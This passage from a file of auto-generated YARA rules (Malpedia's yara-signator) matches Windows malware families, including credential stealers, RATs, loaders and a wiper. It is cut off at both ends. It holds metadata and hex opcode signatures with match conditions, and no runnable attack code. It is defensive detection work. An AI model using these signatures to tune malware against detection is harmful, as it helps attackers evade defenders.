		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b00 ff7508 ff9010030000 50 8d45c4 50 e8???????? }
		$sequence_1 = { 8b4508 8b4034 83c001 0f80b9060000 8b4d08 894134 8b4508 }
		$sequence_2 = { 8b00 ff7508 ff902c070000 6683bd2cffffffff 0f85f7030000 8b4508 8b00 }
		$sequence_3 = { e8???????? 8945dc 8d45e0 50 8b450c 668b00 }
		$sequence_4 = { 50 8b8554ffffff 8b00 ffb554ffffff ff5054 }
		$sequence_5 = { 668985f0feffff 8d8568ffffff 50 8d8578ffffff 50 8d4598 50 }
		$sequence_6 = { 8d4588 50 8b856cffffff 8b00 ffb56cffffff ff90d8000000 }
		$sequence_7 = { ffb5dcfeffff e8???????? 89852cfeffff eb07 83a52cfeffff00 8b45c0 }
		$sequence_8 = { 83658000 8d45dc 50 8d45d8 50 8d45e0 }
		$sequence_9 = { ff75d8 e8???????? dc9d68ffffff dfe0 }
	condition:
		7 of them and filesize < 1024000
}

rule MALPEDIA_Win_Cruloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "39947838-03a3-5a24-945d-6e866d043993"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cruloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cruloader_auto.yar#L1-L116"
		license_url = "N/A"
		logic_hash = "4307b8e0f195ebffc58740c34a8819f9896c989908200e4e4f90e094ceef34c2"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 53 56 57 8b7d08 eb6f 8b07 8d1c85605c4100 }
		$sequence_1 = { 8b413c 0f104508 53 56 }
		$sequence_2 = { 8bcf 83e73f c1f906 6bd738 8b0c8dd85e4100 c644112800 85f6 }
		$sequence_3 = { 6bc618 57 8db8e8604100 57 ff15???????? }
		$sequence_4 = { c0c104 80f19a 884c15f0 42 3bd0 }
		$sequence_5 = { 8b75e4 3bf7 7523 baf63f4890 b901000000 }
		$sequence_6 = { 33f6 898de0fcffff 898500fdffff 85db }
		$sequence_7 = { 894de0 8b049dd85e4100 f644082801 7469 }
		$sequence_8 = { 8b8514fdffff 898d0cfdffff 0fb74006 898508fdffff 85c0 7433 83c108 }
		$sequence_9 = { b902000000 e8???????? ba241d19e5 a3???????? }
	condition:
		7 of them and filesize < 196608
}

rule MALPEDIA_Win_Iconic_Stealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7673e219-b974-5ee5-b8e5-79ce461f9ab7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.iconic_stealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.iconic_stealer_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "5bc33a8c1cdbea6882940424bec9a55b2f154b2fa412fc3e5ed34989f79a9444"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ebc9 4885f6 740f ba68000000 488bce e8???????? eb0a }
		$sequence_1 = { 498b4a18 8b4148 034144 7912 458bc6 498bd2 e8???????? }
		$sequence_2 = { ff8bdc000000 c687c500000003 40387367 7407 c7473407000000 b805000000 394734 }
		$sequence_3 = { e9???????? f7430400000001 488b0e 4489642454 48894c2468 4c896598 0fb64164 }
		$sequence_4 = { e9???????? 41f7450400000100 0f8480020000 4889bc2458010000 498b3e 4c396648 7414 }
		$sequence_5 = { e8???????? 488be8 4885c0 0f849d020000 80783f02 0f8493020000 488b542438 }
		$sequence_6 = { ff15???????? 85c0 0f8494000000 39bc2480000000 0f8487000000 498bd6 4c8d1d8d6c0300 }
		$sequence_7 = { b8e08004e0 48094330 44896374 4c89a378020000 4c89a370020000 4c89a380020000 4c89a330020000 }
		$sequence_8 = { 744d 4c8bc1 eb48 4c8d442440 4889742440 488d150c780300 4489742448 }
		$sequence_9 = { 4d85c0 741a 410fb74010 6685c0 7f05 6603c8 eb0b }
	condition:
		7 of them and filesize < 2401280
}

rule MALPEDIA_Win_Industrial_Spy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "49532f61-1558-5e03-9771-9daa1443f81c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.industrial_spy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.industrial_spy_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "09d68278c920c888a9a9161c0ac726f167f616f36cff9042eab3321dfe0c396f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 03c8 43890c26 3bc8 7302 ffc7 037c242c }
		$sequence_1 = { 33c9 ff15???????? 8b15???????? 4c8d0577020200 498904d0 ffc2 8915???????? }
		$sequence_2 = { 418bd9 498bf8 8bf2 4c8d0d2d9c0000 488be9 4c8d051b9c0000 }
		$sequence_3 = { 4403d3 41c1ca0c 4503d1 4133c2 054239faff 0345d4 03d0 }
		$sequence_4 = { 8bc1 488bce 4803d0 e8???????? 33c0 eb0c b801040000 }
		$sequence_5 = { 442bc9 f7d1 443bc9 418bc0 0f46d6 c1e010 }
		$sequence_6 = { 0345c0 418d91442229f4 03d0 448d8997ff2a43 418bc2 c1c206 f7d0 }
		$sequence_7 = { 418d4a01 418bc1 c1e810 03c2 }
		$sequence_8 = { 33c0 eb3d 452bd3 4533c0 4585c9 742f 482bf9 }
		$sequence_9 = { 488d0d4bf40000 48894b48 4963d0 c6435401 e8???????? eb18 4885c9 }
	condition:
		7 of them and filesize < 339968
}

rule MALPEDIA_Win_Elise_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "08b1c424-ccca-5509-994b-c3215e83e8dc"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.elise"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.elise_auto.yar#L1-L199"
		license_url = "N/A"
		logic_hash = "70b08762b10b71d08f89704ff70572a2b0da8c94488cb175a27749246468d125"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 1bc0 83e0fe 83c00b 8945f8 8b45f4 40 50 }
		$sequence_1 = { 4b 8d3470 75ed 5b }
		$sequence_2 = { ab 75d2 5f 5e 5b c3 }
		$sequence_3 = { 7cf5 33c9 888f00010000 888f01010000 }
		$sequence_4 = { 8b491c 83c60c 83c110 8945fc }
		$sequence_5 = { 8d1c58 d3e0 0945f4 ff45f8 }
		$sequence_6 = { c3 55 8bec 51 51 53 8d5f10 }
		$sequence_7 = { 888f00010000 888f01010000 8bf7 8945f8 }
		$sequence_8 = { 57 6a22 50 894608 ff15???????? }
		$sequence_9 = { 034e3c b800030000 d3e0 33c9 6a02 }
		$sequence_10 = { 56 57 b99a000000 8d7510 }
		$sequence_11 = { e8???????? 83c40c 8d4580 50 8d4588 }
		$sequence_12 = { 33c0 e9???????? 833d????????00 7405 e8???????? 83c8ff }
		$sequence_13 = { ff75ec 0fb6843794010000 99 53 52 50 }
		$sequence_14 = { 0145f0 6a00 6800010000 ff75ec 1155f4 53 }
		$sequence_15 = { 5b 85ff 7415 0fb616 33d0 23d1 c1e808 }
		$sequence_16 = { 50 ff7580 e8???????? 85c0 }
		$sequence_17 = { 6a20 e8???????? 59 8bd8 }
		$sequence_18 = { 59 59 33c0 e9???????? 8b35???????? 6a04 }
		$sequence_19 = { 8bd7 c1ea03 53 0fb61e 33d8 23d9 c1e808 }
	condition:
		7 of them and filesize < 204800
}

rule MALPEDIA_Win_Halfrig_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "42e8a2a1-259b-540e-bb50-a68bd513fd92"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.halfrig"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.halfrig_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "adc9aecc9470ee0c91f95fb542745149148c07ba82848cc511591fd05aa26a6e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0f8ea3000000 488d0daf800800 e8???????? 833d????????ff 0f858a000000 488d542420 488d8530030000 }
		$sequence_1 = { 488d542420 e8???????? 488d0db8bd0700 e8???????? 40383d???????? }
		$sequence_2 = { 4c893d???????? 488d8d30030000 488d05acd70200 488bd6 660f1f840000000000 488d8980000000 0f1000 }
		$sequence_3 = { 3905???????? 0f8ea3000000 488d0ddf8d0700 e8???????? 833d????????ff 0f858a000000 488d542420 }
		$sequence_4 = { 0f8ea3000000 488d0d2f6c0700 e8???????? 833d????????ff 0f858a000000 488d542420 4c8bc6 }
		$sequence_5 = { 4983f815 72db 408835???????? 418b06 4c898b50040000 4088b358040000 3905???????? }
		$sequence_6 = { 0f1003 488d542420 488bcd 0f29442420 e8???????? 0fb6d0 488d5b10 }
		$sequence_7 = { 8801 418b06 3905???????? 0f8ea3000000 488d0dcf4f0700 e8???????? 833d????????ff }
		$sequence_8 = { 418b06 4c898ba0040000 4088b3a8040000 3905???????? 7e4e 488d0d34700400 e8???????? }
		$sequence_9 = { c705????????6990e984 c705????????3d6d27f5 e8???????? 403835???????? 4c8d0d0e7b0400 7438 }
	condition:
		7 of them and filesize < 1369088
}

rule MALPEDIA_Win_Dustman_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "371d6ab3-949b-5c9d-8033-67b6c55ea566"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dustman"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dustman_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "b063597b5a4ae400c5fb648bc847f945a242473e9377f95d15455828ca13e94a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bd9 4c8d0dedb20000 b902000000 4c8d05d9b20000 }
		$sequence_1 = { 884810 488b4d88 0fb60c01 884811 488b4d90 0fb60c01 884812 }
		$sequence_2 = { c3 488d055d954101 c3 488d054d954101 c3 }
		$sequence_3 = { 4c8d9db1010000 4903cb 48894d88 488bca 492bca }
		$sequence_4 = { 4d8be1 498be8 4c8bea 4b8b8cfe40c80100 4c8b15???????? 4883cfff }
		$sequence_5 = { 492bca 4c8d9dc4010000 4903cb 48894d20 488bca 492bca 4c8d9dc5010000 }
		$sequence_6 = { c4c173590cc1 4c8d0d05750000 c5f359c1 c5fb101d???????? c5fb102d???????? c4e2f1a91d???????? c4e2f1a92d???????? }
		$sequence_7 = { 0fb68525020000 48c1e028 4c0bd0 0fb68526020000 48c1e030 4c0bd0 0fb68527020000 }
		$sequence_8 = { e8???????? 4883f8ff 7524 ff15???????? 488d4c2420 }
		$sequence_9 = { e9???????? 4d8bb4f6d0320100 33d2 498bce 41b800080000 }
	condition:
		7 of them and filesize < 368640
}

rule MALPEDIA_Win_Divergent_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0e7b7156-a784-541b-bc2e-90cf2a4a8de0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.divergent"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.divergent_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "59dd95ddff9efda2ca5f59f400b3973c8f58905843f6145e813b39dc6d7537d1"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 85c0 781e 8d85f8fdffff 50 }
		$sequence_1 = { 50 e8???????? 59 59 8b0b 8bd7 eb08 }
		$sequence_2 = { 6aff 0f44c1 50 57 ff15???????? 8bf0 85f6 }
		$sequence_3 = { 68???????? eb37 68???????? eb30 68???????? eb29 68???????? }
		$sequence_4 = { f77dfc 43 8aca 81fb00010000 7cba 5f 5e }
		$sequence_5 = { 786e ff75e0 ff15???????? 40 50 e8???????? 8bf0 }
		$sequence_6 = { eb03 8b7dfc 8b36 85f6 0f8574ffffff }
		$sequence_7 = { e8???????? ff730c 68???????? 56 e8???????? f20f104310 83c420 }
		$sequence_8 = { 894dd4 894dd8 ff15???????? 33db 85c0 0f99c3 85db }
		$sequence_9 = { d9e0 dec1 dd5df8 dd45f8 8be5 5d c3 }
	condition:
		7 of them and filesize < 212992
}

rule MALPEDIA_Win_Hacksfase_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "729ac06e-5cdf-534d-872e-f45399aff424"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hacksfase"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hacksfase_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "475d936eb0e74e3fe48740a165f50322f1d0bfb51d9d93ce37cd5fe8ac260ab9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8965e8 33db 895de0 895de4 895dd8 895ddc 895dfc }
		$sequence_1 = { 56 6a02 68???????? 56 ff500c }
		$sequence_2 = { 56 ffd3 50 ffd5 56 ff15???????? }
		$sequence_3 = { 89442418 894c241c 6a00 6a00 6a00 6a06 6a01 }
		$sequence_4 = { 3975b4 7416 3975bc 7411 ff75b4 8bcb }
		$sequence_5 = { 7479 bf02000000 8b442414 40 3bc7 89442414 }
		$sequence_6 = { e8???????? 8b1d???????? 83c40c 68e8030000 ffd3 6a00 6a00 }
		$sequence_7 = { 895dc8 895dd0 ff5064 3bc3 894508 7d5d }
		$sequence_8 = { b8???????? e8???????? 83ec0c 8b412c 56 57 }
		$sequence_9 = { 33d2 8d0cb6 f7f6 8d0c89 }
	condition:
		7 of them and filesize < 106496
}

rule MALPEDIA_Win_Glassrat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e9bc70a4-a165-546a-8b42-f2a0c16e09f0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.glassrat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.glassrat_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "fbe939a1762c88ca3785e6b1a0e31abcf86d2dba3555094a224ffc73c72353a2"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 32c0 5d 83c408 c21400 53 56 8d4524 }
		$sequence_1 = { 895904 894108 89790c 8b4a04 e8???????? }
		$sequence_2 = { 0f8598000000 bf02000000 ff15???????? 6a00 8b95c4feffff }
		$sequence_3 = { 6860ea0000 ff15???????? 8d8c242c010000 c784243c020000ffffffff e8???????? 46 83fe05 }
		$sequence_4 = { 8d5004 8945ec 8930 b941000000 33c0 8bfa }
		$sequence_5 = { 8d9578feffff 53 53 6a02 }
		$sequence_6 = { c7857cffffff44000000 c745a801010000 668975ac 895db8 895dbc }
		$sequence_7 = { 8dbd85feffff 8945e0 8945e4 889d84feffff f3ab 66ab }
		$sequence_8 = { 33ed 68905f0100 ff15???????? 6a00 }
		$sequence_9 = { e8???????? 53 55 56 33c0 8bf1 89442410 }
	condition:
		7 of them and filesize < 81920
}

rule MALPEDIA_Win_Unidentified_113_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "026f5486-b8e6-5386-ab78-8b52aa522545"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_113"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_113_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "c4dbb7c789bd37f81bad9c32be7e0c5fc26b7a85c7d9e53aaac6f7a0dd9d408f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 83c408 be08000000 e9???????? 83f904 0f82a2000000 807c19fe3e }
		$sequence_1 = { ff742434 ff15???????? ff74243c ff15???????? 57 ff15???????? 8b8c2468030000 }
		$sequence_2 = { e8???????? 83c40c 8b4c2410 83c502 83d100 894c2410 85c0 }
		$sequence_3 = { ff74242c 55 57 e8???????? 55 8bf8 e8???????? }
		$sequence_4 = { ffd6 ff742414 ffd6 8b8c247c040000 5e 33cc e8???????? }
		$sequence_5 = { ff7630 e8???????? 6a38 6a00 56 e8???????? 8b4710 }
		$sequence_6 = { ff15???????? 8bd8 899da0feffff 85db 0f84fc030000 0f1f440000 ff15???????? }
		$sequence_7 = { e8???????? 89442424 83c408 8bc7 837c241c00 0f44d8 53 }
		$sequence_8 = { c785acf3ffff00000000 0fb608 8bd1 c785b0f3ffff00000000 c785b4f3ffff00000080 83ea01 741d }
		$sequence_9 = { ff7020 8d44242c 50 8b442434 50 8b4020 ffd0 }
	condition:
		7 of them and filesize < 4707328
}

rule MALPEDIA_Win_Dispcashbr_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "55df9dfe-3a05-5311-b783-4a51e2e4694d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dispcashbr"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dispcashbr_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "086284cd3c4f836fd2903e8ee5f20f6af858fd595f5b202fe80164aaffa860ae"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 83ec08 c7442408c8ffffff c7442404???????? }
		$sequence_1 = { e8???????? e9???????? c70424f5ffffff e8???????? }
		$sequence_2 = { c744240404000000 890424 e8???????? 83ec08 c7442408f2ffffff }
		$sequence_3 = { c744240404000000 890424 e8???????? 83ec08 c7442408c9ffffff c7442404???????? a1???????? }
		$sequence_4 = { c744240404000000 890424 e8???????? 83ec08 c7442408eaffffff c7442404???????? a1???????? }
		$sequence_5 = { 890424 e8???????? 83ec08 c7442408c8ffffff }
		$sequence_6 = { e8???????? 83ec08 c7442408c9ffffff c7442404???????? a1???????? 83c020 890424 }
		$sequence_7 = { c744240404000000 890424 e8???????? 83ec08 c7442408fcffffff c7442404???????? }
		$sequence_8 = { 83c020 8944240c c744240822000000 c744240401000000 c70424???????? e8???????? }
		$sequence_9 = { 83ec04 c744240404000000 890424 e8???????? 83ec08 c7442408e6ffffff c7442404???????? }
	condition:
		7 of them and filesize < 123904
}

rule MALPEDIA_Win_Nabucur_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9022825e-08e1-5228-a8ab-7502f1d2e737"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nabucur"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nabucur_auto.yar#L1-L155"
		license_url = "N/A"
		logic_hash = "1073a8071d9c420307c019b8193b4c07d15bc5ab7630e60f5042626f0d12ed0f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 48 894500 85c0 7fee }
		$sequence_1 = { 48 8944241c 85c0 7fd1 }
		$sequence_2 = { 48 83f801 89442418 0f8f15ffffff }
		$sequence_3 = { 48 83e908 85c0 75f0 57 }
		$sequence_4 = { 48 8906 8d442410 50 }
		$sequence_5 = { 009eaa030000 0fb686aa030000 57 83f80a 0f876d010000 }
		$sequence_6 = { 33ff 397c242c 7e61 8b6c242c 8b03 8d4c0001 81f900020000 }
		$sequence_7 = { 48 89442414 85c0 0f8f68ffffff }
		$sequence_8 = { 89728e 5f 5c ab }
		$sequence_9 = { e9???????? ffd6 e9???????? 5e e9???????? 68ad009a0c }
		$sequence_10 = { ba0eb4d3fc 83c604 eb0c 83f901 }
		$sequence_11 = { 8bec 68???????? e8???????? 813d????????1d932600 }
		$sequence_12 = { e022 0884df221d84c2 221b 84dd 223c84 }
		$sequence_13 = { b4d6 98 db3e d35f9e c25a1a }
		$sequence_14 = { af 6abb 8ed5 3155fc }
		$sequence_15 = { 91 039109861780 60 96 }
	condition:
		7 of them and filesize < 1949696
}

rule MALPEDIA_Win_Quirkyloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "96ed682d-1f85-55be-b220-303838180cde"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quirkyloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.quirkyloader_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "8925860198d03a19b550d761a81339280161301cb85fe60c28e452df7f2a68e4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 488bd8 488d15636d1200 488d4b10 41b880000000 e8???????? 488d4e10 }
		$sequence_1 = { e8???????? 85c0 740e b801000000 4883c438 5b 5e }
		$sequence_2 = { 4c8d8c2488000000 488bcb 4533c0 e8???????? 4c8bf8 4c8b6b40 4d85ff }
		$sequence_3 = { e8???????? 498bcd e8???????? 488d0d0a1a0300 e8???????? 488bd8 e8???????? }
		$sequence_4 = { 8b7a04 49033f 4803f9 4803fb 483bdf 731f 488b0b }
		$sequence_5 = { ffc8 488d1480 498b4230 488d0cd0 488b4110 49894110 49c741f801000000 }
		$sequence_6 = { 80b9b901000000 7502 eb15 488bce e8???????? 488bc8 33d2 }
		$sequence_7 = { eb02 8bc6 8945cc 488b4518 488b4818 48898d70ffffff 488b4518 }
		$sequence_8 = { f7da 41b9ff000000 83e207 0fb6ca 488d95c0000000 62d17e486f00 62f17e487f4502 }
		$sequence_9 = { e8???????? 488bc3 8138ffffff7f 7409 488bc3 8b00 ffc0 }
	condition:
		7 of them and filesize < 4722688
}

rule MALPEDIA_Win_Mars_Stealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5d89ff0c-708d-5cb2-bdc2-6969544672dc"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mars_stealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mars_stealer_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "cc94c9b32aabf5299f34d05641ffdf1640d29fa168f4cb92b657b3f5122a585c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c404 8945fc 837dfc00 744c 6a00 }
		$sequence_1 = { e8???????? 83c404 85c0 7443 833d????????00 751e }
		$sequence_2 = { 0f90c1 f7d9 0bc8 51 ff15???????? 83c404 8945f4 }
		$sequence_3 = { 8985fcfdffff c745fcc0270900 6a04 8d45fc 50 6a02 }
		$sequence_4 = { 51 e8???????? c78548fcffff94000000 8d9548fcffff }
		$sequence_5 = { 8bec 81ecc8040000 56 57 c78548fcffff00000000 6890000000 6a00 }
		$sequence_6 = { 8d85e8d7ffff 50 e8???????? 6888130000 8d8d78ecffff }
		$sequence_7 = { 8b55f0 52 ff15???????? 83c404 8b45e8 }
		$sequence_8 = { 8d8d78ecffff 51 e8???????? 8d95e4d7ffff 52 8d85e0d7ffff 50 }
		$sequence_9 = { 50 ff15???????? 83c404 8985dcf7ffff 8b85dcf7ffff }
	condition:
		7 of them and filesize < 219136
}

rule MALPEDIA_Win_Unidentified_116_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e8b2ca1f-b6d4-5e1a-8d04-484724c2f148"
		date = "2026-01-05"
		modified = "2026-01-06"
